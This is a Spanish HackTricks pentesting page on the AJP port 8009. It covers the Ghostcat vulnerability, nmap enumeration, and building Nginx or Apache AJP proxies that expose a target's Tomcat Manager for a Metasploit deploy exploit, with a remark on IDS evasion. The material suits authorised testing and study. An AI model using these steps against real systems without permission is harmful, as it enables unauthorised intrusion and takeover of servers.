8009 - Pentesting Apache JServ Protocol (AJP)

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Información Básica

Desde: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/

AJP es un protocolo de red. Es una versión optimizada del protocolo HTTP que permite a un servidor web independiente como Apache comunicarse con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat al servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que redirija la solicitud a Tomcat para el contenido relacionado con Tomcat.

También interesante:

El protocolo ajp13 está orientado a paquetes. Se eligió un formato binario en lugar del texto plano más legible por razones de rendimiento. El servidor web se comunica con el contenedor de servlets a través de conexiones TCP. Para reducir el costoso proceso de creación de sockets, el servidor web intentará mantener conexiones TCP persistentes con el contenedor de servlets y reutilizar una conexión para múltiples ciclos de solicitud/respuesta.

Puerto predeterminado: 8009

PORT     STATE SERVICE
8009/tcp open  ajp13

CVE-2020-1938 'Ghostcat'

Si el puerto AJP está expuesto, Tomcat podría ser susceptible a la vulnerabilidad Ghostcat. Aquí hay un exploit que funciona con este problema.

Ghostcat es una vulnerabilidad de LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como WEB-INF/web.xml que pueden filtrar información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.

Las versiones parcheadas en o por encima de 9.0.31, 8.5.51 y 7.0.100 han solucionado este problema.

Enumeración

Automática

nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>

Proxy AJP

Proxy Inverso Nginx & AJP

Ver la versión en Docker

Cuando nos encontramos con un puerto de proxy AJP abierto (TCP 8009), podemos utilizar Nginx con el módulo ajp_module para acceder al "oculto" Tomcat Manager. Esto se puede hacer compilando el código fuente de Nginx y agregando el módulo requerido, de la siguiente manera:

  • Descargar el código fuente de Nginx

  • Descargar el módulo requerido

  • Compilar el código fuente de Nginx con el ajp_module.

  • Crear un archivo de configuración que apunte al puerto AJP.

# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz

# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
-   server {
-       listen 80;
-       server_name example.com;
-       location / {
-           proxy_pass http://127.0.0.1:8080;
-       }
-   }
+       upstream backend {
+           server 127.0.0.1:8080;
+       }
+
+       server {
+           listen 80;
+           server_name example.com;
+           location / {
+               proxy_pass http://backend;
+           }
+       }
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}

Inicia Nginx y verifica si todo está funcionando correctamente emitiendo una solicitud cURL a tu host local.

sudo nginx
curl http://127.0.0.1:80

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>

Versión de Nginx en Docker

git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker

Reemplace TARGET-IP en nginx.conf con la IP de AJP, luego construya y ejecute.

docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy

Proxy de Apache AJP

Encontrar un puerto abierto 8009 sin otros puertos web accesibles es raro. Sin embargo, aún es posible explotarlo utilizando Metasploit. Al aprovechar Apache como proxy, las solicitudes pueden ser redirigidas a Tomcat en el puerto 8009.

sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf     # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass       / ajp://HOST:8009/
ProxyPassReverse    / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2

Este setup ofrece el potencial de evadir los sistemas de detección y prevención de intrusiones (IDS/IPS) debido a la naturaleza binaria del protocolo AJP, aunque esta capacidad no ha sido verificada. Al dirigir un exploit de Tomcat de Metasploit regular a 127.0.0.1:80, puedes tomar control efectivamente del sistema objetivo.

msf  exploit(tomcat_mgr_deploy) > show options

Referencias

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización